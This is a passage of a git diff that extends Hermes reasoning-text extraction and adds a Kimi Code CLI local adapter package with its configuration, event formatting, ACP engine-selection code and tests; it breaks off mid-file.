-      return [{ kind: "thinking", ts, text: "Hermes reasoning available" }];
+      const reasoning = extractReasoningText(data);
+      return [{ kind: "thinking", ts, text: reasoning || "Hermes reasoning available" }];
     }
     return [{ kind: "system", ts, text: `Hermes event: ${eventName}` }];
   }
diff --git a/packages/adapters/hermes/package.json b/packages/adapters/hermes/package.json
index cf3b322d56e..e43f9e97e1d 100644
--- a/packages/adapters/hermes/package.json
+++ b/packages/adapters/hermes/package.json
@@ -103,11 +103,11 @@
     "picocolors": "^1.1.1"
   },
   "devDependencies": {
-    "@types/node": "^22.20.1",
+    "@types/node": "^24.0.0",
     "typescript": "^5.7.3",
     "vitest": "^4.1.10"
   },
   "engines": {
-    "node": ">=20.0.0"
+    "node": ">=24.11.0"
   }
 }
diff --git a/packages/adapters/hermes/src/gateway/ui/parse-stdout.test.ts b/packages/adapters/hermes/src/gateway/ui/parse-stdout.test.ts
new file mode 100644
index 00000000000..aa0b354166b
--- /dev/null
+++ b/packages/adapters/hermes/src/gateway/ui/parse-stdout.test.ts
@@ -0,0 +1,100 @@
+import { describe, expect, it } from "vitest";
+import { parseHermesGatewayStdoutLine } from "./parse-stdout.js";
+
+const TS = "2026-07-08T12:00:00.000Z";
+
+function eventLine(eventName: string, data: unknown): string {
+  return `[hermes-gateway:event] run=run-123 event=${eventName} data=${JSON.stringify(data)}`;
+}
+
+describe("parseHermesGatewayStdoutLine — reasoning.available payload extraction", () => {
+  // This is the assertion that FAILS on the old hardcoded-placeholder code
+  // and PASSES once the real reasoning text is extracted from `data`.
+  it("uses the real reasoning text from data.text instead of the hardcoded placeholder", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("reasoning.available", { text: "Considering three approaches to the cache invalidation bug." }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({
+      kind: "thinking",
+      ts: TS,
+      text: "Considering three approaches to the cache invalidation bug.",
+    });
+    expect(result[0]).not.toHaveProperty("text", "Hermes reasoning available");
+  });
+
+  it("uses the real reasoning text from data.summary", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("reasoning.available", { summary: "Weighing tradeoffs between two refactor strategies." }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({
+      kind: "thinking",
+      ts: TS,
+      text: "Weighing tradeoffs between two refactor strategies.",
+    });
+  });
+
+  it("recurses one level into a nested data.data record to find the reasoning text", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("reasoning.available", { data: { text: "Nested reasoning payload from gateway wrapper." } }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({
+      kind: "thinking",
+      ts: TS,
+      text: "Nested reasoning payload from gateway wrapper.",
+    });
+  });
+
+  it("recurses one level into a nested data.payload record to find the reasoning text", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("reasoning.available", { payload: { reasoning: "Nested via payload wrapper instead of data." } }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({
+      kind: "thinking",
+      ts: TS,
+      text: "Nested via payload wrapper instead of data.",
+    });
+  });
+
+  it("falls back to the placeholder when data has no recognizable text field (preserves bare-signal behavior)", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("reasoning.available", { unrelatedField: 42 }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({ kind: "thinking", ts: TS, text: "Hermes reasoning available" });
+  });
+
+  it("falls back to the placeholder when data is entirely absent/unparseable", () => {
+    const result = parseHermesGatewayStdoutLine(
+      "[hermes-gateway:event] run=run-123 event=reasoning.available data=not-json",
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({ kind: "thinking", ts: TS, text: "Hermes reasoning available" });
+  });
+});
+
+describe("parseHermesGatewayStdoutLine — regression guards for unrelated handlers", () => {
+  it("still yields an assistant delta part for message.delta", () => {
+    const result = parseHermesGatewayStdoutLine(
+      eventLine("message.delta", { delta: "Hello there" }),
+      TS,
+    );
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({ kind: "assistant", ts: TS, text: "Hello there", delta: true });
+  });
+
+  it("still yields a stdout part for a plain non-event line", () => {
+    const result = parseHermesGatewayStdoutLine("just a plain line of output", TS);
+    expect(result).toHaveLength(1);
+    expect(result[0]).toEqual({ kind: "stdout", ts: TS, text: "just a plain line of output" });
+  });
+});
diff --git a/packages/adapters/hermes/src/gateway/ui/parse-stdout.ts b/packages/adapters/hermes/src/gateway/ui/parse-stdout.ts
index 2837bea15ef..894f9235154 100644
--- a/packages/adapters/hermes/src/gateway/ui/parse-stdout.ts
+++ b/packages/adapters/hermes/src/gateway/ui/parse-stdout.ts
@@ -27,6 +27,33 @@ function asString(value: unknown): string {
   return typeof value === "string" ? value : "";
 }
 
+/**
+ * Pull the reasoning text out of a `reasoning.available` event payload.
+ * The exact field name is defined by the external Hermes gateway, so this
+ * checks the plausible field names (mirroring the fallback chain used by
+ * extractOutput() in gateway/server/execute.ts) and recurses one level into
+ * nested `data` / `payload` records.
+ */
+function extractDirectReasoningText(data: Record<string, unknown>): string {
+  return (
+    asString(data.reasoning).trim() ||
+    asString(data.reasoning_text).trim() ||
+    asString(data.thinking).trim() ||
+    asString(data.text).trim() ||
+    asString(data.summary).trim() ||
+    asString(data.content).trim()
+  );
+}
+
+function extractReasoningText(data: Record<string, unknown> | null): string {
+  if (!data) return "";
+  const direct = extractDirectReasoningText(data);
+  if (direct) return stripAnsi(direct);
+  const nested = asRecord(data.data) ?? asRecord(data.payload);
+  const nestedDirect = nested ? extractDirectReasoningText(nested) : "";
+  return nestedDirect ? stripAnsi(nestedDirect) : "";
+}
+
 export function parseHermesGatewayStdoutLine(line: string, ts: string): TranscriptEntry[] {
   const cleaned = stripAnsi(line);
   const trimmed = cleaned.trim();
@@ -45,7 +72,8 @@ export function parseHermesGatewayStdoutLine(line: string, ts: string): Transcri
       return [{ kind: "stderr", ts, text: message }];
     }
     if (eventName === "reasoning.available") {
-      return [{ kind: "thinking", ts, text: "Hermes reasoning available" }];
+      const reasoning = extractReasoningText(data);
+      return [{ kind: "thinking", ts, text: reasoning || "Hermes reasoning available" }];
     }
     return [{ kind: "system", ts, text: `Hermes event: ${eventName}` }];
   }
diff --git a/packages/adapters/kimi-local/package.json b/packages/adapters/kimi-local/package.json
new file mode 100644
index 00000000000..d4007900555
--- /dev/null
+++ b/packages/adapters/kimi-local/package.json
@@ -0,0 +1,63 @@
+{
+  "name": "@paperclipai/adapter-kimi-local",
+  "version": "0.3.1",
+  "license": "MIT",
+  "homepage": "https://github.com/paperclipai/paperclip",
+  "bugs": {
+    "url": "https://github.com/paperclipai/paperclip/issues"
+  },
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/paperclipai/paperclip",
+    "directory": "packages/adapters/kimi-local"
+  },
+  "type": "module",
+  "exports": {
+    ".": "./src/index.ts",
+    "./server": "./src/server/index.ts",
+    "./ui": "./src/ui/index.ts",
+    "./cli": "./src/cli/index.ts"
+  },
+  "publishConfig": {
+    "access": "public",
+    "exports": {
+      ".": {
+        "types": "./dist/index.d.ts",
+        "import": "./dist/index.js"
+      },
+      "./server": {
+        "types": "./dist/server/index.d.ts",
+        "import": "./dist/server/index.js"
+      },
+      "./ui": {
+        "types": "./dist/ui/index.d.ts",
+        "import": "./dist/ui/index.js"
+      },
+      "./cli": {
+        "types": "./dist/cli/index.d.ts",
+        "import": "./dist/cli/index.js"
+      }
+    },
+    "main": "./dist/index.js",
+    "types": "./dist/index.d.ts"
+  },
+  "files": [
+    "dist"
+  ],
+  "scripts": {
+    "build": "tsc",
+    "clean": "rm -rf dist",
+    "typecheck": "tsc --noEmit"
+  },
+  "dependencies": {
+    "@paperclipai/adapter-utils": "workspace:*",
+    "picocolors": "^1.1.1"
+  },
+  "devDependencies": {
+    "@types/node": "^24.0.0",
+    "typescript": "^5.7.3"
+  },
+  "engines": {
+    "node": ">=24.11.0"
+  }
+}
diff --git a/packages/adapters/kimi-local/src/cli/format-event.ts b/packages/adapters/kimi-local/src/cli/format-event.ts
new file mode 100644
index 00000000000..4911ac6d18b
--- /dev/null
+++ b/packages/adapters/kimi-local/src/cli/format-event.ts
@@ -0,0 +1,94 @@
+import pc from "picocolors";
+import { printAcpxStreamEvent } from "@paperclipai/adapter-utils/acpx-engine/cli";
+
+function asRecord(value: unknown): Record<string, unknown> | null {
+  if (typeof value !== "object" || value === null || Array.isArray(value)) return null;
+  return value as Record<string, unknown>;
+}
+
+function asString(value: unknown, fallback = ""): string {
+  return typeof value === "string" ? value : fallback;
+}
+
+function stringifyUnknown(value: unknown): string {
+  if (typeof value === "string") return value;
+  if (value === null || value === undefined) return "";
+  try {
+    return JSON.stringify(value, null, 2);
+  } catch {
+    return String(value);
+  }
+}
+
+export function printKimiStreamEvent(raw: string, _debug: boolean): void {
+  const line = raw.trim();
+  if (!line) return;
+
+  let parsed: Record<string, unknown> | null = null;
+  try {
+    parsed = JSON.parse(line) as Record<string, unknown>;
+  } catch {
+    console.log(line);
+    return;
+  }
+
+  if (asString(parsed.type).startsWith("acpx.")) {
+    printAcpxStreamEvent(line, _debug);
+    return;
+  }
+
+  const role = asString(parsed.role).trim().toLowerCase();
+
+  if (role === "assistant") {
+    const content = asString(parsed.content).trim();
+    if (content) console.log(pc.green(`assistant: ${content}`));
+    const toolCalls = Array.isArray(parsed.tool_calls) ? parsed.tool_calls : [];
+    for (const callRaw of toolCalls) {
+      const call = asRecord(callRaw);
+      if (!call) continue;
+      const fn = asRecord(call.function);
+      const name = asString(fn?.name, asString(call.name, "tool")).trim() || "tool";
+      console.log(pc.yellow(`tool_call: ${name}`));
+      const argsRaw = fn?.arguments ?? call.arguments;
+      if (argsRaw === undefined) continue;
+      if (typeof argsRaw === "string") {
+        try {
+          console.log(pc.gray(stringifyUnknown(JSON.parse(argsRaw))));
+        } catch {
+          console.log(pc.gray(argsRaw));
+        }
+      } else {
+        console.log(pc.gray(stringifyUnknown(argsRaw)));
+      }
+    }
+    return;
+  }
+
+  if (role === "tool") {
+    console.log(pc.cyan("tool_result"));
+    const content = asString(parsed.content) || stringifyUnknown(parsed.content);
+    if (content) console.log(pc.gray(content));
+    return;
+  }
+
+  if (role === "meta") {
+    const type = asString(parsed.type).trim();
+    if (type === "session.resume_hint") {
+      const sessionId = asString(parsed.session_id).trim();
+      if (sessionId) console.log(pc.blue(`Kimi session: ${sessionId}`));
+    }
+    return;
+  }
+
+  if (role === "error" || asString(parsed.type).trim().toLowerCase() === "error") {
+    const text =
+      asString(parsed.content) ||
+      asString(parsed.message) ||
+      asString(parsed.error) ||
+      "Kimi error";
+    console.log(pc.red(`error: ${text}`));
+    return;
+  }
+
+  console.log(line);
+}
diff --git a/packages/adapters/kimi-local/src/cli/index.ts b/packages/adapters/kimi-local/src/cli/index.ts
new file mode 100644
index 00000000000..d3b8f24b6f0
--- /dev/null
+++ b/packages/adapters/kimi-local/src/cli/index.ts
@@ -0,0 +1 @@
+export { printKimiStreamEvent } from "./format-event.js";
diff --git a/packages/adapters/kimi-local/src/index.ts b/packages/adapters/kimi-local/src/index.ts
new file mode 100644
index 00000000000..a27aded28a1
--- /dev/null
+++ b/packages/adapters/kimi-local/src/index.ts
@@ -0,0 +1,84 @@
+import { buildSandboxNpmInstallCommand } from "@paperclipai/adapter-utils";
+
+export const type = "kimi_local";
+export const label = "Kimi Code CLI (local)";
+
+export const SANDBOX_INSTALL_COMMAND = buildSandboxNpmInstallCommand("@moonshot-ai/kimi-code");
+
+export const DEFAULT_KIMI_LOCAL_MODEL = "kimi-code/kimi-for-coding";
+
+export const models = [
+  { id: DEFAULT_KIMI_LOCAL_MODEL, label: "K2.7 Coding" },
+  { id: "kimi-code/kimi-for-coding-highspeed", label: "K2.7 Coding Highspeed" },
+  { id: "kimi-code/k3", label: "K3" },
+];
+
+/**
+ * Kimi thinking-effort tiers. Kimi's catalog exposes these via each model's
+ * `support_efforts`; note there is no "medium" tier (Kimi collapses it onto
+ * "high"). Sending an effort a model does not support makes the provider
+ * reject the request, so effort is only forwarded for effort-capable models.
+ */
+export const KIMI_SUPPORTED_EFFORTS = ["low", "high", "max"] as const;
+export type KimiEffort = (typeof KIMI_SUPPORTED_EFFORTS)[number];
+
+/**
+ * Models that advertise `support_efforts` in Kimi's model catalog. Keep in
+ * sync with `models` above; only these accept KIMI_MODEL_THINKING_EFFORT.
+ */
+export const EFFORT_CAPABLE_MODELS = new Set<string>(["kimi-code/k3"]);
+
+export function modelSupportsEffort(model: string): boolean {
+  return EFFORT_CAPABLE_MODELS.has(model.trim());
+}
+
+/**
+ * Map a Paperclip effort value onto Kimi's supported thinking-effort set.
+ * Returns null for values Kimi cannot honor so the caller leaves Kimi's own
+ * default_effort in place instead of forwarding an invalid tier.
+ */
+export function resolveKimiThinkingEffort(effort: string): KimiEffort | null {
+  const normalized = effort.trim().toLowerCase();
+  if (!normalized) return null;
+  if (normalized === "medium") return "high";
+  return (KIMI_SUPPORTED_EFFORTS as readonly string[]).includes(normalized)
+    ? (normalized as KimiEffort)
+    : null;
+}
+
+export const agentConfigurationDoc = `# kimi_local agent configuration
+
+Adapter: kimi_local
+
+Use when:
+- You want Paperclip to run the Kimi Code CLI (kimi) locally on the host machine
+- You want Kimi sessions resumed across heartbeats with -r
+- You want Paperclip skills injected into the Kimi skills home without polluting the agent workspace
+
+Don't use when:
+- You need webhook-style external invocation (use http or openclaw_gateway)
+- You only need a one-shot script without an AI coding agent loop (use process)
+- Kimi Code CLI is not installed on the machine that runs Paperclip
+
+Core fields:
+- cwd (string, optional): default absolute working directory fallback for the agent process (created if missing when possible)
+- instructionsFilePath (string, optional): absolute path to a markdown instructions file prepended to the run prompt. Sibling files in the same directory (HEARTBEAT.md, SOUL.md, TOOLS.md) are made readable via --add-dir for local runs.
+- promptTemplate (string, optional): run prompt template
+- model (string, optional): Kimi model alias (provider/model). Defaults to kimi-code/kimi-for-coding.
+- effort (string, optional): thinking effort (low | medium | high | max). CLI lane only (engine=cli or the automatic fallback): forwarded as KIMI_MODEL_THINKING_EFFORT for effort-capable models (currently kimi-code/k3); "medium" maps to "high" since Kimi has no medium tier. Ignored for models without support_efforts, and NOT forwarded on the default ACP engine lane (Kimi ACP exposes a separate "thinking" option that is not wired yet) — pin engine=cli when effort control matters.
+- command (string, optional): defaults to "kimi"
+- extraArgs (string[], optional): additional CLI args
+- env (object, optional): KEY=VALUE environment variables
+
+Operational fields:
+- timeoutSec (number, optional): run timeout in seconds
+- graceSec (number, optional): SIGTERM grace period in seconds
+
+Notes:
+- The adapter defaults to the ACP engine (\`kimi acp\`) and falls back to the headless CLI lane when ACP prerequisites are unavailable. Set \`engine\` to \`acp\` or \`cli\` to require a specific lane.
+- CLI-lane runs use \`kimi -p\` with \`--output-format stream-json\` for non-interactive headless execution; the prompt is passed as an argument, not stdin.
+- The adapter sets a headless-safe environment (CI=1, NO_COLOR=1, KIMI_CODE_NO_AUTO_UPDATE=1) so unattended runs never wait on interactive prompts or update preflight.
+- Sessions resume with \`-r <session_id>\` when the stored session cwd matches the current cwd; the session id is captured from the trailing session.resume_hint meta event.
+- Desired Paperclip skills are delivered to local runs via \`--skills-dir\` pointing at a per-run managed directory, so skills load reliably without polluting the user's \`~/.kimi-code/skills\` home. Remote runs sync skills into the remote skills home.
+- Authentication uses \`kimi login\` (OAuth device flow), providers configured in Kimi's config.toml, or the KIMI_MODEL_NAME + KIMI_MODEL_API_KEY environment pair.
+`;
diff --git a/packages/adapters/kimi-local/src/server/acp.test.ts b/packages/adapters/kimi-local/src/server/acp.test.ts
new file mode 100644
index 00000000000..b88c66cd138
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/acp.test.ts
@@ -0,0 +1,71 @@
+import { describe, expect, it } from "vitest";
+import {
+  buildKimiAcpConfig,
+  nodeVersionMeetsKimiAcpMinimum,
+  resolveKimiExecutionEngine,
+} from "./acp.js";
+
+describe("resolveKimiExecutionEngine", () => {
+  it("defaults to ACP (non-explicit) when engine is unset", () => {
+    expect(resolveKimiExecutionEngine({})).toEqual({ engine: "acp", explicit: false });
+  });
+
+  it("honors an explicit engine=acp", () => {
+    expect(resolveKimiExecutionEngine({ engine: "acp" })).toEqual({ engine: "acp", explicit: true });
+  });
+
+  it("honors an explicit engine=cli", () => {
+    expect(resolveKimiExecutionEngine({ engine: "CLI" })).toEqual({ engine: "cli", explicit: true });
+  });
+
+  it("treats unknown values as the non-explicit ACP default", () => {
+    expect(resolveKimiExecutionEngine({ engine: "nonsense" })).toEqual({ engine: "acp", explicit: false });
+  });
+});
+
+describe("buildKimiAcpConfig", () => {
+  it("targets the kimi agent and derives the `kimi acp` server command from `command`", () => {
+    const out = buildKimiAcpConfig({ command: "kimi", cwd: "/work" });
+    expect(out.agent).toBe("kimi");
+    expect(out.agentCommand).toBe("kimi acp");
+    expect(out.mode).toBe("persistent");
+    expect(out.cwd).toBe("/work");
+  });
+
+  it("prefers an explicit agentCommand override", () => {
+    const out = buildKimiAcpConfig({ command: "kimi", agentCommand: "/opt/kimi acp --foo" });
+    expect(out.agentCommand).toBe("/opt/kimi acp --foo");
+  });
+
+  it("drops the model when it equals the default so ACP uses the agent default", () => {
+    const out = buildKimiAcpConfig({ model: "kimi-code/kimi-for-coding" });
+    expect("model" in out).toBe(false);
+  });
+
+  it("keeps a non-default model", () => {
+    const out = buildKimiAcpConfig({ model: "kimi-code/k3" });
+    expect(out.model).toBe("kimi-code/k3");
+  });
+
+  it("strips CLI-lane effort so ACP is not sent the unsupported `effort` control", () => {
+    const out = buildKimiAcpConfig({ model: "kimi-code/k3", effort: "high", thinkingEffort: "high" });
+    expect("effort" in out).toBe(false);
+    expect("thinkingEffort" in out).toBe(false);
+  });
+
+  it("opts into the shared engine's verbose-backend handling", () => {
+    const out = buildKimiAcpConfig({ command: "kimi" });
+    expect(out.summaryStrategy).toBe("lastOutputSegment");
+    expect(out.coalescePlaceholderToolUpdates).toBe(true);
+  });
+});
+
+describe("nodeVersionMeetsKimiAcpMinimum", () => {
+  it("accepts Node >= 20", () => {
+    expect(nodeVersionMeetsKimiAcpMinimum("v22.0.0")).toBe(true);
+    expect(nodeVersionMeetsKimiAcpMinimum("v20.0.0")).toBe(true);
+  });
+  it("rejects Node < 20", () => {
+    expect(nodeVersionMeetsKimiAcpMinimum("v18.19.0")).toBe(false);
+  });
+});
diff --git a/packages/adapters/kimi-local/src/server/acp.ts b/packages/adapters/kimi-local/src/server/acp.ts
new file mode 100644
index 00000000000..e6a8b8b523b
--- /dev/null
+++ b/packages/adapters/kimi-local/src/server/acp.ts
@@ -0,0 +1,392 @@
+import fs from "node:fs/promises";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import type {
+  AdapterEnvironmentCheck,
+  AdapterEnvironmentTestContext,
+  AdapterEnvironmentTestResult,
+  AdapterExecutionContext,
+  AdapterExecutionResult,
+} from "@paperclipai/adapter-utils";
+import {
+  ensureAdapterExecutionTargetCommandResolvable,
+  readAdapterExecutionTarget,
+  resolveAdapterExecutionTargetCwd,
+} from "@paperclipai/adapter-utils/execution-target";
+import {
+  DEFAULT_ACP_ENGINE_MODE,
+  DEFAULT_ACP_ENGINE_NON_INTERACTIVE_PERMISSIONS,
+  DEFAULT_ACP_ENGINE_PERMISSION_MODE,
+  DEFAULT_ACP_ENGINE_WARM_HANDLE_IDLE_MS,
+} from "@paperclipai/adapter-utils/acpx-engine/constants";
+import type { AcpxEngineExecutorOptions } from "@paperclipai/adapter-utils/acpx-engine/execute";
+import {
+  asNumber,
+  asString,
+  parseObject,
+} from "@paperclipai/adapter-utils/server-utils";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "../index.js";
+
+const moduleDir = path.dirname(fileURLToPath(import.meta.url));
+const packageRootDir = path.resolve(moduleDir, "../..");
+const MIN_ACP_NODE_VERSION = "20.0.0";
+
+export type KimiExecutionEngine = "cli" | "acp";
+
+export interface KimiEngineSelection {
+  engine: KimiExecutionEngine;
+  explicit: boolean;
+  fallbackReason?: string;
+}
+
+type KimiEngineResolutionInput =
+  Pick<AdapterExecutionContext, "config"> &
+  Partial<Pick<AdapterExecutionContext, "executionTarget" | "executionTransport">>;
+
+type KimiAcpExecutorOptions = Omit<
+  AcpxEngineExecutorOptions,
+  "adapterType" | "moduleDir" | "packageRootDir"
+>;
+
+type KimiAcpExecutor = (ctx: AdapterExecutionContext) => Promise<AdapterExecutionResult>;
+
+function normalizeEngine(value: unknown): KimiEngineSelection {
+  const raw = typeof value === "string" ? value.trim().toLowerCase() : "";
+  if (raw === "acp") return { engine: "acp", explicit: true };
+  if (raw === "cli") return { engine: "cli", explicit: true };
+  return { engine: "acp", explicit: false };
+}
+
+export function resolveKimiExecutionEngine(config: Record<string, unknown>): KimiEngineSelection {
+  return normalizeEngine(config.engine);
+}
+
+export async function resolveKimiExecutionEngineForRun(
+  input: KimiEngineResolutionInput,
+): Promise<KimiEngineSelection> {
+  const selection = normalizeEngine(input.config.engine);
+  if (selection.explicit || selection.engine !== "acp") return selection;
+
+  const fallbackReason = await defaultKimiAcpFallbackReason(input);
+  if (!fallbackReason) return selection;
+  return { engine: "cli", explicit: false, fallbackReason };
+}
+
+export function formatKimiAcpFallbackMessage(reason: string): string {
+  return `[paperclip] Kimi ACP default unavailable; falling back to Kimi CLI. ${reason} Set engine=acp to require ACP or engine=cli to silence this fallback.\n`;
+}
+
+function firstNonEmptyString(...values: unknown[]): string | undefined {
+  for (const value of values) {
+    if (typeof value !== "string") continue;
+    const trimmed = value.trim();
+    if (trimmed.length > 0) return trimmed;
+  }
+  return undefined;
+}
+
+export function buildKimiAcpConfig(config: Record<string, unknown>): Record<string, unknown> {
+  const configuredAgentCommand = firstNonEmptyString(config.agentCommand, config.acpAgentCommand);
+  const configuredKimiCommand = firstNonEmptyString(config.command);
+  const agentCommand = configuredAgentCommand ?? (configuredKimiCommand ? `${configuredKimiCommand} acp` : undefined);
+  const stateDir = firstNonEmptyString(config.stateDir, config.acpStateDir);
+  const mode = firstNonEmptyString(config.mode, config.acpMode) ?? DEFAULT_ACP_ENGINE_MODE;
+  const permissionMode =
+    firstNonEmptyString(config.permissionMode, config.acpPermissionMode) ??
+    DEFAULT_ACP_ENGINE_PERMISSION_MODE;
+  const nonInteractivePermissions =
+    firstNonEmptyString(config.nonInteractivePermissions, config.acpNonInteractivePermissions) ??
+    DEFAULT_ACP_ENGINE_NON_INTERACTIVE_PERMISSIONS;
+  const warmHandleIdleMs =
+    config.warmHandleIdleMs ??
+    config.acpWarmHandleIdleMs ??
+    DEFAULT_ACP_ENGINE_WARM_HANDLE_IDLE_MS;
+
+  const next: Record<string, unknown> = {
+    ...config,
+    agent: "kimi",
+    mode,
+    permissionMode,
+    nonInteractivePermissions,
+    warmHandleIdleMs,
+    ...(agentCommand ? { agentCommand } : {}),
+    ...(stateDir ? { stateDir } : {}),
+  };
+  const model = asString(next.model, "").trim();
+  if (!model || model === DEFAULT_KIMI_LOCAL_MODEL) delete next.model;
+  // Kimi's ACP backend advertises a `thinking` config option, not `effort`.
+  // The shared acpx engine only knows the `effort` control key, which Kimi
+  // rejects with ACP_BACKEND_UNSUPPORTED_CONTROL and fails the session. Drop
+  // the CLI-lane effort fields so the ACP session is not configured with an
+  // unsupported control; thinking-effort control remains available on the CLI
+  // lane via KIMI_MODEL_THINKING_EFFORT.
+  delete next.effort;
+  delete next.thinkingEffort;
+  // Kimi streams ~16k text deltas and one tool_call update per argument token
+  // per run (~50x a comparable Claude run). Opt into the shared engine's
+  // verbose-backend handling: the auto-posted run summary becomes the last
+  // output segment instead of the full narration dump, and placeholder-titled
+  // in-progress tool updates are coalesced out of the run log.
+  next.summaryStrategy = "lastOutputSegment";
+  next.coalescePlaceholderToolUpdates = true;
+  return next;
+}
+
+function withKimiAcpDefaults(options: KimiAcpExecutorOptions): AcpxEngineExecutorOptions {
+  return {
+    ...options,
+    adapterType: "kimi_local",
+    moduleDir,
+    packageRootDir,
+  };
+}
+
+export function createKimiAcpExecutor(options: KimiAcpExecutorOptions = {}): KimiAcpExecutor {
+  let executor: KimiAcpExecutor | null = null;
+  return async (ctx) => {
+    let currentExecutor = executor;
+    if (!currentExecutor) {
+      const { createAcpxEngineExecutor } = await import("@paperclipai/adapter-utils/acpx-engine/execute");
+      currentExecutor = createAcpxEngineExecutor(withKimiAcpDefaults(options));
+      executor = currentExecutor;
+    }
+    return currentExecutor({
+      ...ctx,
+      config: buildKimiAcpConfig(ctx.config),
+    });
+  };
+}
+
+function parseVersion(version: string): [number, number, number] {
+  const match = version.match(/^v?(\d+)\.(\d+)\.(\d+)/);
+  if (!match) return [0, 0, 0];
+  return [Number(match[1]), Number(match[2]), Number(match[3])];
+}
+
+export function nodeVersionMeetsKimiAcpMinimum(version = process.version): boolean {
+  const [major, minor, patch] = parseVersion(version);
+  const [minMajor, minMinor, minPatch] = parseVersion(MIN_ACP_NODE_VERSION);
+  if (major !== minMajor) return major > minMajor;
+  if (minor !== minMinor) return minor > minMinor;
+  return patch >= minPatch;
+}
+
+async function pathExists(candidate: string): Promise<boolean> {
+  return fs.access(candidate).then(() => true).catch(() => false);
+}
+
+function hasPathSeparator(command: string): boolean {
+  return command.includes("/") || command.includes("\\");
+}
+
+function firstShellToken(command: string): string | null {
+  const trimmed = command.trim();
+  if (!trimmed) return null;
+  if (trimmed.startsWith("'") || trimmed.startsWith("\"")) return null;
+  return trimmed.split(/\s+/, 1)[0] ?? null;
+}
+
+async function findCommandOnPath(binName: string, pathValue = process.env.PATH ?? ""): Promise<string | null> {
+  for (const segment of pathValue.split(path.delimiter)) {
+    if (!segment) continue;
+    const candidate = path.join(segment, binName);
+    if (await pathExists(candidate)) return candidate;
+  }
+  return null;
+}
+
+function resolveConfigPath(config: Record<string, unknown>): string {
+  const envConfig = parseObject(config.env);
+  return typeof envConfig.PATH === "string" && envConfig.PATH.trim().length > 0
+    ? envConfig.PATH
+    : process.env.PATH ?? "";
+}
+
+async function commandIsResolvable(
+  command: string,
+  pathValue = process.env.PATH ?? "",
+  input?: KimiEngineResolutionInput,
+): Promise<boolean> {
+  const token = firstShellToken(command);
+  if (!token) return true;
+  const target = readAdapterExecutionTarget({
+    executionTarget: input?.executionTarget,
+    legacyRemoteExecution: input?.executionTransport?.remoteExecution,
+  });
+  if (target?.kind === "remote") {
+    try {
+      await ensureAdapterExecutionTargetCommandResolvable(
+        token,
+        target,
+        resolveAdapterExecutionTargetCwd(target, asString(input?.config.cwd, ""), process.cwd()),
+        process.env,
+      );
+      return true;
+    } catch {
+      return false;
+    }
+  }
+  if (path.isAbsolute(token) || hasPathSeparator(token)) return pathExists(token);
+  return (await findCommandOnPath(token, pathValue)) !== null;
+}
+
+function resolveKimiAcpCommand(config: Record<string, unknown>): string {
+  const configured = firstNonEmptyString(config.agentCommand, config.acpAgentCommand);
+  if (configured) return configured;
+  const kimiCommand = firstNonEmptyString(config.command) ?? "kimi";
+  return `${kimiCommand} acp`;
+}
+
+function sandboxTargetHasProcessSessionBridge(
+  target: ReturnType<typeof readAdapterExecutionTarget>,
+): boolean {
+  return target?.kind === "remote" && target.transport === "sandbox" && Boolean(target.runner);
+}
+
+async function defaultKimiAcpFallbackReason(
+  input: KimiEngineResolutionInput,
+): Promise<string | null> {
+  const target = readAdapterExecutionTarget({
+    executionTarget: input.executionTarget,
+    legacyRemoteExecution: input.executionTransport?.remoteExecution,
+  });
+  if (target?.kind === "remote" && !sandboxTargetHasProcessSessionBridge(target)) {
+    if (target.transport === "sandbox") {
+      return "Kimi ACP requires a bidirectional remote process target; this sandbox exposes only one-shot command execution.";
+    }
+    return "Kimi ACP supports sandbox remote targets only; this run targets a non-sandbox remote environment.";
+  }
+  if (!nodeVersionMeetsKimiAcpMinimum()) {
+    return `Node ${process.version} does not satisfy Kimi ACP's Node >=${MIN_ACP_NODE_VERSION} prerequisite.`;
+  }
+  const command = resolveKimiAcpCommand(input.config);
+  if (!(await commandIsResolvable(command, resolveConfigPath(input.config), input))) {
+    return `Kimi ACP command is not available: ${command}.`;
+  }
+  return null;
+}
+
+function summarizeStatus(checks: AdapterEnvironmentCheck[]): AdapterEnvironmentTestResult["status"] {
+  if (checks.some((check) => check.level === "error")) return "fail";
+  if (checks.some((check) => check.level === "warn")) return "warn";
+  return "pass";
+}
+
+function isNonEmpty(value: unknown): value is string {
+  return typeof value === "string" && value.trim().length > 0;
+}
+
+export async function testKimiAcpEnvironment(
+  ctx: AdapterEnvironmentTestContext,
+): Promise<AdapterEnvironmentTestResult> {
+  const checks: AdapterEnvironmentCheck[] = [];
+  const config = parseObject(ctx.config);
+  const target = ctx.executionTarget ?? null;
+  const targetIsRemote = target?.kind === "remote";
+
+  checks.push({
+    code: "kimi_engine_selected",
+    level: "info",
+    message: "Execution engine selected: ACP.",
+    hint: "Set engine=cli to use the existing Kimi CLI lane.",
+  });
+
+  if (targetIsRemote) {
+    checks.push({
+      code: "kimi_acp_remote_target",
+      level: "info",
+      message: "Kimi ACP will run against the remote execution environment.",
+      hint: "Remote ACP requires a bidirectional process target such as SSH or Paperclip's sandbox process-session bridge.",
+    });
+  }
+
+  const cwd = asString(config.cwd, process.cwd());
+  try {
+    await fs.mkdir(cwd, { recursive: true });
+    checks.push({
+      code: "kimi_acp_cwd_valid",
+      level: "info",
+      message: `Working directory is valid: ${cwd}`,
+    });
+  } catch (err) {
+    checks.push({
+      code: "kimi_acp_cwd_invalid",
+      level: "error",
+      message: err instanceof Error ? err.message : "Invalid working directory",
+      detail: cwd,
+    });
+  }
+
+  checks.push({
+    code: nodeVersionMeetsKimiAcpMinimum() ? "kimi_acp_node_supported" : "kimi_acp_node_unsupported",
